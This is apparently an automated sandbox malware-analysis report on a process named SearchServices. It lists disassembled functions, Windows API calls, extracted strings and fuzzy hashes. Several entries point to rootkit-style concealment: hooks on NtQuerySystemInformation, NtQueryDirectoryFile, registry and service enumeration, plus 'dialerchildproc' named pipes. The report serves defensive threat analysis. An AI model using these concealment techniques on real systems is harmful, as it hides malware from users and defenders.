Tcl_FindExecutable, xrefs: 00007FF7287E7171
Tcl_CreateObjCommand, xrefs: 00007FF7287E73EE
Tcl_SetVar2Ex, xrefs: 00007FF7287E748E
Tcl_DeleteInterp, xrefs: 00007FF7287E720E
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF7287E74D2
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF7287E7168
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF7287E72F2
Failed to get address for Tk_Init, xrefs: 00007FF7287E75C2
Failed to get address for Tcl_GetString, xrefs: 00007FF7287E7432
Tcl_Alloc, xrefs: 00007FF7287E7556
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF7287E71B2
Tcl_EvalFile, xrefs: 00007FF7287E74DE
Failed to get address for Tcl_EvalFile, xrefs: 00007FF7287E74FA
Tcl_GetObjResult, xrefs: 00007FF7287E74B6
Tcl_EvalEx, xrefs: 00007FF7287E7506
Tcl_MutexUnlock, xrefs: 00007FF7287E72AE
Tcl_DoOneEvent, xrefs: 00007FF7287E7196
Tcl_SetVar2, xrefs: 00007FF7287E73C6
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF7287E745A
Failed to get address for Tcl_Alloc, xrefs: 00007FF7287E7572
Tcl_Init, xrefs: 00007FF7287E7110
Failed to get address for Tcl_Finalize, xrefs: 00007FF7287E71DA
Tcl_ThreadAlert, xrefs: 00007FF7287E7376
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF7287E722A
Tcl_Finalize, xrefs: 00007FF7287E71BE
Tcl_ConditionWait, xrefs: 00007FF7287E7326
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF7287E754A
Failed to get address for Tcl_Init, xrefs: 00007FF7287E7129
Tcl_ConditionNotify, xrefs: 00007FF7287E72FE
Tcl_CreateThread, xrefs: 00007FF7287E7236
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF7287E727A
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF7287E7342
Tcl_FinalizeThread, xrefs: 00007FF7287E71E6
Failed to get address for Tcl_GetVar2, xrefs: 00007FF7287E73BA
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF7287E74AA

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
Instruction ID: 64ebd937ac93360b1251ce8c6af17a7ca0b0bd563bdee761b67cbbd903ba5f0d
Opcode Fuzzy Hash: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
Instruction Fuzzy Hash: 08E10A61A7DB4390FA58EB44BC80035E3E2EF48380FC46437D91D067A4EF7EB5648A28

Function 00000264CC2712BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000264CC271319
GetProcessHeap.KERNEL32 ref: 00000264CC271327
HeapAlloc.KERNEL32 ref: 00000264CC271338
RegEnumValueW.ADVAPI32 ref: 00000264CC271397

Part of subcall function 00000264CC27152C: StrCmpIW.SHLWAPI ref: 00000264CC27155D

GetProcessHeap.KERNEL32 ref: 00000264CC2713DF
HeapAlloc.KERNEL32 ref: 00000264CC2713ED
GetProcessHeap.KERNEL32 ref: 00000264CC27140A
HeapFree.KERNEL32 ref: 00000264CC271418
lstrlenW.KERNEL32 ref: 00000264CC271421
GetProcessHeap.KERNEL32 ref: 00000264CC27142F
HeapAlloc.KERNEL32 ref: 00000264CC27143D
StrCpyW.SHLWAPI ref: 00000264CC27145F
GetProcessHeap.KERNEL32 ref: 00000264CC271476
HeapFree.KERNEL32 ref: 00000264CC271484

Strings

d, xrefs: 00000264CC27135A

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: a289e33da97fe0abcbdd7a7d7847024a4366f17b6a637e570663211ddf54ade6
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 38519D33A01B84C6EB10EF66E46879A77A1F788F89F045126DE8A47729DF3DC259C700

Function 00000264CC271D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000264CC271D1F

Part of subcall function 00000264CC271FD4: GetModuleHandleA.KERNEL32 ref: 00000264CC271FEC
Part of subcall function 00000264CC271FD4: GetProcAddress.KERNEL32 ref: 00000264CC271FFD

Part of subcall function 00000264CC275B30: GetCurrentThreadId.KERNEL32 ref: 00000264CC275B6B

Strings

EnumServicesStatusExW, xrefs: 00000264CC271E11, 00000264CC271E32
NtDeviceIoControlFile, xrefs: 00000264CC271E56
EnumServiceGroupW, xrefs: 00000264CC271DF0
NtEnumerateKey, xrefs: 00000264CC271DB9
NtQuerySystemInformation, xrefs: 00000264CC271D45
sechost.dll, xrefs: 00000264CC271E39
NtEnumerateValueKey, xrefs: 00000264CC271DD6
NtQueryDirectoryFile, xrefs: 00000264CC271D7F
NtQueryDirectoryFileEx, xrefs: 00000264CC271D9C
NtResumeThread, xrefs: 00000264CC271D62
advapi32.dll, xrefs: 00000264CC271DF7, 00000264CC271E18
ntdll.dll, xrefs: 00000264CC271D2D

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 462cb94ae16754b41a0238a57b90392950df20953db37ff9566a49f53528a89e
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 8131A175D43A4AE0EA04FB66E8B9AE46320BB04754F817063D4C952776EF3A874DC390

Function 00000264CC246910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000264CC246938
__scrt_acquire_startup_lock.LIBCMT ref: 00000264CC24698A
_RTC_Initialize.LIBCMT ref: 00000264CC2469B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000264CC2469DE
__scrt_release_startup_lock.LIBCMT ref: 00000264CC246A09

Strings

scriptor', xrefs: 00000264CC246B39, 00000264CC246BB2, 00000264CC246BEC
`eh vector copy constructor iterator', xrefs: 00000264CC246A3B
`eh vector vbase copy constructor iterator', xrefs: 00000264CC2469EE
`dynamic initializer for ', xrefs: 00000264CC2469C7

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f98aa2fe84123717808a757c065c0adf3fb53fa65be73201754ab10eda53e37c
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0881DE71F03601CBFB50FB66947DBD96290AB85B80F14A02799C9437B6DB7BCB468B00

Function 00000264CC27CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000264CC27CE37
FlsGetValue.KERNEL32(?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CE4C
FlsSetValue.KERNEL32(?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CE6D
FlsSetValue.KERNEL32(?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CE9A
FlsSetValue.KERNEL32(?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CEAB
FlsSetValue.KERNEL32(?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CEBC
SetLastError.KERNEL32 ref: 00000264CC27CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000264CC27ECCC,?,?,?,?,00000264CC27BF9F,?,?,?,?,?,00000264CC277AB0), ref: 00000264CC27CF2C

Part of subcall function 00000264CC27D6CC: HeapAlloc.KERNEL32 ref: 00000264CC27D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CF54

Part of subcall function 00000264CC27D744: HeapFree.KERNEL32 ref: 00000264CC27D75A
Part of subcall function 00000264CC27D744: GetLastError.KERNEL32 ref: 00000264CC27D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000264CC280A6B,?,?,?,00000264CC28045C,?,?,?,00000264CC27C84F), ref: 00000264CC27CF76

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f200fbabd2833813d0e379f155cac756f69025daa3bc6e6b4a2ce5c02161a9dd
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 69417F30E87244C2FA68B735D5FD3E922825B447B0F253727A9B6467FADE2B97018301

Function 00007FF7287E12A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E2B10: MessageBoxW.USER32 ref: 00007FF7287E2BE5

_fread_nolock.LIBCMT ref: 00007FF7287E1489

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7287E14AF
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7287E12EE
fread, xrefs: 00007FF7287E14B6
%s%c%s, xrefs: 00007FF7287E13DE
fseek, xrefs: 00007FF7287E1322
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7287E1360
\, xrefs: 00007FF7287E13E5
malloc, xrefs: 00007FF7287E1367
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7287E131B

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: e98ef3d727a7d1e35fc3e508156cadbd154b01e1e304fe324f65a5b66896d3d0
Instruction ID: 40763972ebd31fdf28f8685ecc09916549f7deef203263100320c38c07cce917
Opcode Fuzzy Hash: e98ef3d727a7d1e35fc3e508156cadbd154b01e1e304fe324f65a5b66896d3d0
Instruction Fuzzy Hash: 9951D521B586C285FA24BB91AC512F9E390EF587C4FC04033EE5D47B95EE3DE5458B28

Function 00007FF7287E23D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7287E23FB
SelectObject.GDI32 ref: 00007FF7287E2442
DrawTextW.USER32 ref: 00007FF7287E2465
SelectObject.GDI32 ref: 00007FF7287E247B
ReleaseDC.USER32 ref: 00007FF7287E248B
MoveWindow.USER32 ref: 00007FF7287E24DB
MoveWindow.USER32 ref: 00007FF7287E251B
MoveWindow.USER32 ref: 00007FF7287E256E
MoveWindow.USER32 ref: 00007FF7287E25B6

Strings

P%, xrefs: 00007FF7287E244F

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
Instruction ID: 66ebf7a8f9b8f3b7ff7fffa7212186023c5b84753f0ca582a0710c4b5ddb6780
Opcode Fuzzy Hash: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
Instruction Fuzzy Hash: 4C512736614BA186E634AF22E8181BAF7A1F798B61F404122EBDE43784DF3DD045DB24

Function 00007FF7287F6CE0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F6D23
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F7110
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F73AC

Strings

-, xrefs: 00007FF7287F6DB9
:, xrefs: 00007FF7287F6EDC
p, xrefs: 00007FF7287F6E4D
p, xrefs: 00007FF7287F6DD5
f, xrefs: 00007FF7287F6E45

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
Instruction ID: 37194c2a8447065c7d415cf1f60dc99f7dbd4ffe1ec2f1892f4aae87bbf7318a
Opcode Fuzzy Hash: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
Instruction Fuzzy Hash: 8E129222A4C1C386FB20BA96DC44679F661FF68794FD44037E699467C4DB3EE4848F28

Function 00007FF7287F18F8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F1938
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F1D00
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F1F9F

Strings

p, xrefs: 00007FF7287F19DD
p, xrefs: 00007FF7287F1A42
f, xrefs: 00007FF7287F1A3A
f, xrefs: 00007FF7287F1B85
f, xrefs: 00007FF7287F19D0

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
Instruction ID: ae67d0bafa57966cf7e985f2f5d8c70273ade3554128a1c169438fe1bff93849
Opcode Fuzzy Hash: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
Instruction Fuzzy Hash: C8129362E4D18386FB21BA96DC44279F6A1EBA8750FC44137D699467C4DB3EE480CF38

Function 00007FF7287E1590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7287E16B2
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7287E15C3
fread, xrefs: 00007FF7287E16B9
fseek, xrefs: 00007FF7287E1600
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7287E1629
malloc, xrefs: 00007FF7287E1630
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7287E15F9

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 27be44f0197c124a9a634032a587c0ddf253f174d0c42678f82b54fc154a4cc5
Instruction ID: d4d7f3b39ca73850d11c04fe71f5b3af8e0a2ac3e52b6aa00f440fe31cb652da
Opcode Fuzzy Hash: 27be44f0197c124a9a634032a587c0ddf253f174d0c42678f82b54fc154a4cc5
Instruction Fuzzy Hash: 6231A411B9868285FA25BF52EC411B9D391EB197C4FC84033DE4D07B55EE3EE5458B28

Function 00000264CC272244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000264CC272259
GetCurrentProcessId.KERNEL32 ref: 00000264CC272263

Part of subcall function 00000264CC271934: OpenProcess.KERNEL32 ref: 00000264CC271952
Part of subcall function 00000264CC271934: IsWow64Process.KERNEL32 ref: 00000264CC271968
Part of subcall function 00000264CC271934: CloseHandle.KERNEL32 ref: 00000264CC271983

CreateFileW.KERNEL32 ref: 00000264CC2722BC
WriteFile.KERNEL32 ref: 00000264CC2722E4
ReadFile.KERNEL32 ref: 00000264CC272303
CloseHandle.KERNEL32 ref: 00000264CC27230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000264CC27228C
\\.\pipe\dialerchildproc32, xrefs: 00000264CC272293

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: dc3d313f0beb29227ede6b7b2276a5313c1d5a3bda4231c559fc8005ec461e87
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 1B216272A15B50C3FB10EB25F46879973A1F789BA4F505216EA9907BB8CF3DC249CB00

Function 00000264CC249944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000264CC2499A1

Part of subcall function 00000264CC24A814: __GetUnwindTryBlock.LIBCMT ref: 00000264CC24A857
Part of subcall function 00000264CC24A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000264CC24A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000264CC249A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000264CC249CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000264CC249DDA

Strings

csm, xrefs: 00000264CC2499BB
csm, xrefs: 00000264CC249A22
csm, xrefs: 00000264CC249A9C

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 4f518d9edd196b3f1ba4046b6e12a3a6b75a93bb3a3b299025ba63eaf0ef3862
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 2BE18D72A06B40CBEB60FB65D4983DD77A4F749B88F002116EEC957BA9CB36C291D704

Function 00000264CC27A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000264CC27A5A1

Part of subcall function 00000264CC27B414: __GetUnwindTryBlock.LIBCMT ref: 00000264CC27B457
Part of subcall function 00000264CC27B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000264CC27B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000264CC27A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000264CC27A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000264CC27A9DA

Strings

csm, xrefs: 00000264CC27A5BB
csm, xrefs: 00000264CC27A622
csm, xrefs: 00000264CC27A69C

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 2a315049884122a586497cca8f81b4883e761e6e070b40ad0ad8ed7e8ff7b595
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 83E18E72A42740CAEB64EF65D4E83DD77A0F745BA8F102116EEC997BA9CB35C291C700

Function 00007FF7287EF330 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7287EF38C

Part of subcall function 00007FF7287F02EC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7287F032F
Part of subcall function 00007FF7287F02EC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7287F0354

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7287EF464
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7287EF6B3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7287EF7BF

Strings

csm, xrefs: 00007FF7287EF487
